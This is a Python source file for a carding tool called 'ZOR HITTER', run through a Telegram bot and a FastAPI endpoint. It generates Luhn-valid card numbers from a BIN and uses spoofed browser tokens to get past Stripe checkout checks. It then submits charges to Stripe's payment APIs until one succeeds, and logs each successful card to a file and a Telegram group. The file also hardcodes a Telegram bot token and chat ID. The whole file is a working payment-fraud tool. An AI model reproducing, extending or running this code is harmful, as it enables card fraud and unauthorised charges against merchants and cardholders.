import random
import time
import re
import json
import base64
import urllib.parse
import uuid
import os
from datetime import datetime
from threading import Thread
from urllib.parse import urlparse
import pytz # Tambahkan ini
from datetime import datetime
# Third party libraries
from curl_cffi import requests
from fastapi import FastAPI, BackgroundTasks
from fastapi.middleware.cors import CORSMiddleware
from pydantic import BaseModel
import uvicorn
import telebot 
# INI SOLUSI ERROR: name 'timezone' is not defined
timezone = pytz.timezone('Asia/Jakarta')
from telebot.apihelper import ApiTelegramException # Tambahkan ini untuk handle 429
# ============================================================
# 1. KONFIGURASI
# ============================================================
BOT_TOKEN = "7962734306:AAHy7UF_DHtdTGWYBvVt0_Nl8WsYUn5-TRU"
CHAT_ID = "-1003886557158"

bot = telebot.TeleBot(BOT_TOKEN)
app = FastAPI()
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"])

# Database memory sementara
jobs = {}

class ScanRequest(BaseModel):
    url: str
    bin: str
    limit: int

# --- REUSE KODE LO (COPAS KE SINI) ---

ZERO_DECIMAL = {'bif','clp','djf','gnf','jpy','kmf','krw','mga','pyg','rwf','ugx','vnd','vuv','xaf','xof','xpf'}

# ============================================================
# 2. UTILS
# ============================================================
def safe_edit_message(text, chat_id, msg_id):
    """Bypass 429 & Anti-Crash"""
    try:
        time.sleep(0.5) 
        return bot.edit_message_text(text, chat_id, msg_id, parse_mode="Markdown")
    except ApiTelegramException as e:
        if e.error_code == 429:
            print(f"Rate limited (429). Skipping UI update.")
        return None
    except Exception:
        return None
def format_duration(seconds):
    """Mengubah detik menjadi format MM:SS"""
    return time.strftime("%M:%S", time.gmtime(seconds))

def format_amount(minor_amount: str, currency: str) -> str:
    try:
        cur = (currency or 'USD').upper()
        amt = int(str(minor_amount)) if str(minor_amount).isdigit() else float(minor_amount)
        value = amt if cur.lower() in ZERO_DECIMAL else amt / 100
        return f"{value:,.2f} {cur}"
    except: return f"{minor_amount} {currency}"
    
def extract_pk_from_url(url):
    try:
        if '#' not in url: return None
        hash_part = url.split('#')[1]
        raw_hash = urllib.parse.unquote(hash_part)
        if raw_hash.startswith('fid1'): raw_hash = raw_hash[4:]
        missing_padding = len(raw_hash) % 4
        if missing_padding: raw_hash += '=' * (4 - missing_padding)
        decoded_bytes = base64.b64decode(raw_hash)
        decrypted = "".join([chr(b ^ 5) for b in decoded_bytes])
        pk_match = re.search(r'pk_live_[a-zA-Z0-9]+', decrypted)
        return pk_match.group(0) if pk_match else None
    except: return None

def generate_card_data(bin_input):
    bin_str = str(bin_input).replace(" ", "")
    is_amex = bin_str.startswith(('34', '37'))
    target_length = 15 if is_amex else 16
    cvc_length = 4 if is_amex else 3
    card_numbers = [int(d) for d in bin_str]
    while len(card_numbers) < target_length - 1:
        card_numbers.append(random.randint(0, 9))
    def calculate_luhn(digits):
        checksum = 0
        reverse_digits = digits[::-1]
        for i, digit in enumerate(reverse_digits):
            if i % 2 == 0:
                digit *= 2
                if digit > 9: digit -= 9
            checksum += digit
        return (10 - (checksum % 10)) % 10
    card_numbers.append(calculate_luhn(card_numbers))
    cc = "".join(map(str, card_numbers))
    mm = str(random.randint(1, 12)).zfill(2)
    yy = str(random.randint(2027, 2031))
    cvc = "".join([str(random.randint(0, 9)) for _ in range(cvc_length)])
    return cc, mm, yy, cvc

# Currencies tanpa pecahan minor (Stripe zero-decimal)
ZERO_DECIMAL = {
    'bif','clp','djf','gnf','jpy','kmf','krw','mga','pyg','rwf','ugx','vnd','vuv','xaf','xof','xpf'
}

def format_amount(minor_amount: str, currency: str) -> str:
    try:
        cur = (currency or 'USD').upper()
        amt = int(str(minor_amount)) if str(minor_amount).isdigit() else float(minor_amount)
        if cur.lower() in ZERO_DECIMAL:
            value = amt
        else:
            value = amt / 100
        return f"{value:,.2f} {cur}"
    except Exception:
        return f"{minor_amount} {currency.upper() if currency else ''}"

class StripeUniversalBeast:
    def __init__(self, checkout_url, bypass_tokens):
        self.url = checkout_url
        self.cs_id = checkout_url.split('/pay/')[1].split('#')[0]
        self.session = requests.Session(impersonate="chrome110")
        self.bypass = bypass_tokens
        self.headers = {
            'accept': 'application/json',
            'content-type': 'application/x-www-form-urlencoded',
            'origin': 'https://checkout.stripe.com',
            'referer': 'https://checkout.stripe.com/',
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36'
        }
        self.pk_key = None
        self.dynamic_amount = "0"
        self.currency = "USD"
        self.merchant = None
        self.fresh_checksum = ""

    def initialize_universal(self):
        self.pk_key = extract_pk_from_url(self.url)
        res = self.session.get(self.url, headers=self.headers)
        if not self.pk_key:
            pk_match = re.search(r'pk_live_[a-zA-Z0-9]+', res.text)
            if pk_match: self.pk_key = pk_match.group(0)
        return (True, self.pk_key) if self.pk_key else (False, "PK Not Found")

    def get_fresh_init(self):
        init_url = f"https://api.stripe.com/v1/payment_pages/{self.cs_id}/init"
        payload = {
            'key': self.pk_key,
            'eid': 'NA',
            'browser_locale': 'en-US',
            'browser_timezone': 'Asia/Jakarta',
            'redirect_type': 'url'
        }
        try:
            res = self.session.post(init_url, headers=self.headers, data=payload)
            data = res.json()
            if 'error' in data: return False, data['error'].get('message')
            self.fresh_checksum = data.get('init_checksum')
            # amount & currency
            inv = data.get('invoice', {}) or {}
            total = data.get('total_summary', {}) or {}
            self.dynamic_amount = str(inv.get('amount_due', total.get('due', inv.get('amount_total', total.get('amount_total', '0')))))
            self.currency = (inv.get('currency') or total.get('currency') or data.get('currency') or 'USD').upper()
            # --- Penarikan Nama Merchant (Logic Berlapis) ---
            acc_settings = data.get('account_settings', {}) or {}
            
            
            merchant = (
                acc_settings.get('display_name') or 
                data.get('business_name') or
                data.get('page', {}).get('merchant', {}).get('business_name') or
                urlparse(self.url).netloc
            )
            
            self.merchant = merchant
            return True, "OK"
        except Exception:
            return False, "Connection Error"

    def check(self, card_str):
        cc, mm, yy, cvc = card_str.split('|')
        success_init, msg_init = self.get_fresh_init()
        if not success_init: return "DEAD_SESSION", msg_init
        
        # --- Bagian Confirm Logic (Sesuai kode lo) ---
        pm_payload = {
             'type': 'card', 'card[number]': cc, 'card[cvc]': cvc,
            'card[exp_month]': mm, 'card[exp_year]': yy,
            'billing_details[name]': 'Pro Student',
            'billing_details[address][country]': 'ID',
            'billing_details[address][address][line1]': 'jakarta',
            'billing_details[address][address][city]': 'jakarta',
            'billing_details[address][address][postal_code]': '10110',
            'billing_details[address][address][state]': 'DKI Jakarta',
            'key': self.pk_key, 'muid': self.bypass['muid'],
            'sid': self.bypass['sid'], 'guid': self.bypass['guid']
        }
        try:
            res_pm = self.session.post("https://api.stripe.com/v1/payment_methods", headers=self.headers, data=pm_payload)
            if res_pm.status_code != 200: return "DIE/PM", res_pm.json().get('error', {}).get('message')
            pm_id = res_pm.json().get('id')
            confirm_payload = {
                'eid': 'NA', 'payment_method': pm_id, 'expected_amount': self.dynamic_amount,
                'expected_payment_method_type': 'card', 'key': self.pk_key, 
                'init_checksum': self.fresh_checksum, 'js_checksum': self.bypass['js_checksum'],
                'rv_timestamp': self.bypass['rv_timestamp'], 'muid': self.bypass['muid'],
                'sid': self.bypass['sid'], 'guid': self.bypass['guid'], 'client_attribution_metadata[checkout_session_id]': self.cs_id,
            }
            res_conf = self.session.post(f"https://api.stripe.com/v1/payment_pages/{self.cs_id}/confirm", headers=self.headers, data=confirm_payload)
            output = res_conf.json()
            if 'error' in output:
                return f"DIE/{output['error'].get('decline_code', 'declined')}", output['error'].get('message')
            elif 'payment_intent' in output:
                status = output['payment_intent'].get('status')
                if status == "requires_action": return "LIVE", "3DS Required"
                if status == "succeeded": return "HIT", "Payment Succeeded"
                return "LIVE", status
            return "UNKNOWN", "Manual Check"
        except Exception as e: return "CRASH", str(e)

# ============================================================
# 5. API LOGIC (FASTAPI)
# ============================================================

BYPASS_DATA = {
    'muid': 'd133c6b8-2ef1-40fb-a8bb-8b01e4506d5485c166',
    'sid': '379b8210-0a4a-4d09-9188-bed75d1512bd854a3b',
    'guid': '136f9ca9-2b0b-4b3c-96d4-c067571d8951df8ab6',
    'js_checksum': r'qto~d^n0=QU>azbu]]]D~XP?D_=?&aOe^m]TCc_e%m>ar_to?U^`w',
    'rv_timestamp': r'qto^n<Q=U&CyY&`^EX^r^CYNr^CYN`^CY_C^CY_C^CY^^`zY_^`^CY^En{U^Eo&U&Cye&`&dOoxeOMrXunDexoy^bQxXbesYO<xeRX%YR\\CeOn&^[_P>^bL^BXtn{U^Ee&U&CyXbXDXxd^d=YuXuX&X^PD^BOd$X&^;^EY_n^d_Yyd^X<[_YxYO;^%d&XCexQvX&#$d&X&X_^\\>exXDdRMvY_#$XR]seNo?U^`w'
}

BOT_TOKEN = os.getenv("TELEGRAM_BOT_TOKEN", "7962734306:AAHy7UF_DHtdTGWYBvVt0_Nl8WsYUn5-TRU")
CHAT_ID = os.getenv("TELEGRAM_CHAT_ID", "-1003886557158")

def send_tg_payment_success(amount_minor: str, currency: str, merchant: str):
    try:
        amount_fmt = format_amount(amount_minor, currency)
        msg = (f"```"
            "🔥 HIT DETECTED ⚡\n"
            "↔️ Gateway: Stripe  Hitter BOSS\n"
            "✅ Response: Charged Successfully\n"
            f"🌐 Site: {merchant}\n"
            f"💰 Amount: {amount_fmt}"
           f"```"
        )
        api_url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
        payload = {
            "chat_id": CHAT_ID,
            "text": msg,
            "disable_web_page_preview": True,
        }
        requests.post(api_url, json=payload, timeout=15)
    except Exception:
        pass

def worker_task(job_id, url, bin_t, limit, tg_info=None):
    # CATAT WAKTU MULAI
    start_time = time.time()
    
    beast = StripeUniversalBeast(url, BYPASS_DATA)
    user_name = tg_info.get('user_name','Unknown') if tg_info else "USER"
    if tg_info:
        safe_edit_message("🔄 **Checking Gateway & PK...**", tg_info['chat_id'], tg_info['msg_id'])

    success_init, pk_res = beast.initialize_universal()
    if not success_init:
        if tg_info: safe_edit_message("❌ **FATAL**: Publishable Key kaga ketemu!", tg_info['chat_id'], tg_info['msg_id'])
        return

    last_status = "Waiting..."

    for i in range(1, limit + 1):
        cc, mm, yy, cvc = generate_card_data(bin_t)
        card_string = f"{cc}|{mm}|{yy}|{cvc}"
        
        # HITUNG ELAPSED TIME SAAT INI
        current_elapsed = time.time() - start_time
        elapsed_fmt = format_duration(current_elapsed)

        # UI Update (Setiap 2 kali perulangan agar tidak kena 429)
        if tg_info and i % 2 == 0:
            progress_text = (
                f"🛡️ **ZOR Engine Running...**\n"
                f"━━━━━━━━━━━━━━━━━━━━━━━━\n"
                f"👤 **User**: @{user_name}\n"
                f"🏛️ **Merchant**: `{beast.merchant}`\n"
                f"⏳ **Elapsed**: `{elapsed_fmt}`\n"
                f"📊 **Progress**: `{i}/{limit}`\n"
                f"💳 **Card**: `{card_string}`\n"
                f"📝 **Last Result**: `{last_status}`"
            )
            safe_edit_message(progress_text, tg_info['chat_id'], tg_info['msg_id'])

        status, reason = beast.check(card_string)
        jobs[job_id]["logs"].append({"card": card_string, "status": status, "msg": reason})
        last_status = status 

        if "HIT" in status:
            total_duration = format_duration(time.time() - start_time)
            amt_fmt = format_amount(beast.dynamic_amount, beast.currency)
            
            # 1. Bikin Caption HIT
            msg = (
                "🔥 **HIT DETECTED** ⚡\n"
                "━━━━━━━━━━━━━━━━━━━━━━━━\n"
                f"📝 **Status**: `Charged Successfully` ✅\n"
                f"🏛️ **Merchant**: `{beast.merchant}`\n"
                f"💰 **Amount**: `{amt_fmt}`\n"
                "━━━━━━━━━━━━━━━━━━━━━━━━\n"
                f"⏱️ **Process Time**: `{total_duration}`\n"
                f"📡 **Gateway**: `Stripe Checkout Hitter`\n"
                f"👤 **User**: @{user_name}\n"
                "━━━━━━━━━━━━━━━━━━━━━━━━\n"
                "💎 **Checked by**: `ZOR HITTER v1.2`"
            )
            
            # 2. EKSEKUSI: Update pesan progres yang lama jadi pesan HIT
            if tg_info:
                # Ganti pesan 'ZOR Engine Running' jadi 'HIT DETECTED'
                safe_edit_message(msg, tg_info['chat_id'], tg_info['msg_id'])
            
            # 3. Tetap kirim ke CHAT_ID log (Grup Utama) kalau trigger-nya dari API 
            # atau kalau lo mau tetep punya backup log di grup utama
            if not tg_info or (tg_info['chat_id'] != CHAT_ID):
                try:
                    bot.send_message(CHAT_ID, f"📢 **New Hit Log**\n{msg}", parse_mode="Markdown")
                except: pass

            # Simpan ke file hits.txt
            with open("hits.txt", "a") as f:
                f.write(f"{datetime.now()} | {card_string} | {amt_fmt} | {beast.merchant} | {total_duration}\n")
            
            break # Stop loop karena udah HIT 
        
        time.sleep(1.2) # Jeda aman

    # HITUNG DURASI TOTAL SETELAH SELESAI
    final_duration = format_duration(time.time() - start_time)
    jobs[job_id]["status"] = "completed"
    
    # Final Status Update dengan Elapsed Time
    if tg_info and "HIT" not in [l['status'] for l in jobs[job_id]['logs']]:
        text = (
            f"🏁 **Job Completed**\n"
            f"━━━━━━━━━━━━━━━━━━━━━━━━\n"
            f"🏛️ **Merchant**: `{beast.merchant or 'Unknown'}`\n"
            f"⏱️ **Total Time**: `{final_duration}`\n"
            f"📊 **Status**: Finished (No HIT)\n"
            f"🔑 **Last Code**: `{last_status}`"
        )
        safe_edit_message(text, tg_info['chat_id'], tg_info['msg_id'])
    
        
# ============================================================
# 5. CONTROLLERS
# ============================================================

@bot.message_handler(commands=['co'])
def handle_co(message):
    try:
        # Split command
        args = message.text.split()
        
        # 1. LOG: Cek jumlah argumen
        if len(args) < 3:
            err_msg = (
                "❌ **FORMAT SALAH, BANG!**\n"
                "━━━━━━━━━━━━━━━━━━━━━━━━\n"
                "📝 **Gunakan**: `/co [link] [bin] [limit]`\n"
                "💡 **Contoh**: `/co https://checkout... 370194 10`"
            )
            return bot.reply_to(message, err_msg, parse_mode="Markdown")
        
        url = args[1]
        bin_t = args[2]
        
        # 3. LOG: Validasi Panjang BIN
        if len(bin_t) < 6:
            return bot.reply_to(message, "⚠️ **BIN terlalu pendek!** Minimal 6 digit lah, Bang.", parse_mode="Markdown")

        # 4. LOG: Validasi Limit
        try:
            limit = int(args[3]) if len(args) > 3 else 10
            if limit > 100: # Batas aman biar VPS kaga meledak
                limit = 100
                bot.send_message(message.chat.id, "⚠️ **Limit gede amat!** Gue turunin ke 100 ya biar aman.", parse_mode="Markdown")
        except ValueError:
            return bot.reply_to(message, "⚠️ **Limit harus angka**, kocak!", parse_mode="Markdown")
        user = message.from_user
        user_name = user.username if user.username else user.first_name
        user_id = user.id
        # JALAN KAN ENGINE
        sent_msg = bot.reply_to(message, "🚀 **Initializing Engine...**\n`Wait a moment...`", parse_mode="Markdown")
        
        j_id = str(uuid.uuid4())
        jobs[j_id] = {"status": "running", "logs": []}
        
        tg_info = {'msg_id': sent_msg.message_id, 'chat_id': message.chat.id,'user_name':user_name,'user_id':user_id}
        Thread(target=worker_task, args=(j_id, url, bin_t, limit, tg_info)).start()
        
    except Exception as e:
        bot.reply_to(message, f"☠️ **CRASH ERROR**: `{str(e)}`", parse_mode="Markdown")

@app.post("/api/scan")
async def start_scan(req: ScanRequest, bg: BackgroundTasks):
    j_id = str(uuid.uuid4())
    jobs[j_id] = {"status": "running", "logs": []}
    bg.add_task(worker_task, j_id, req.url, req.bin, req.limit)
    return {"job_id": j_id}

@app.get("/api/status/{j_id}")
async def get_status(j_id: str):
    return jobs.get(j_id, {"error": "not_found"})

if __name__ == "__main__":
    # 1. Jalankan Telegram Bot di thread terpisah agar tidak memblock API
    print("[*] Starting Telegram Bot Polling...")
    bot_thread = Thread(target=lambda: bot.infinity_polling(skip_pending=True))
    bot_thread.daemon = True # Biar thread mati kalau main program mati
    bot_thread.start()
    
    # 2. Jalankan FastAPI Server
    print("[*] Starting FastAPI Server on port 5005...")
    uvicorn.run(app, host="0.0.0.0", port=5005)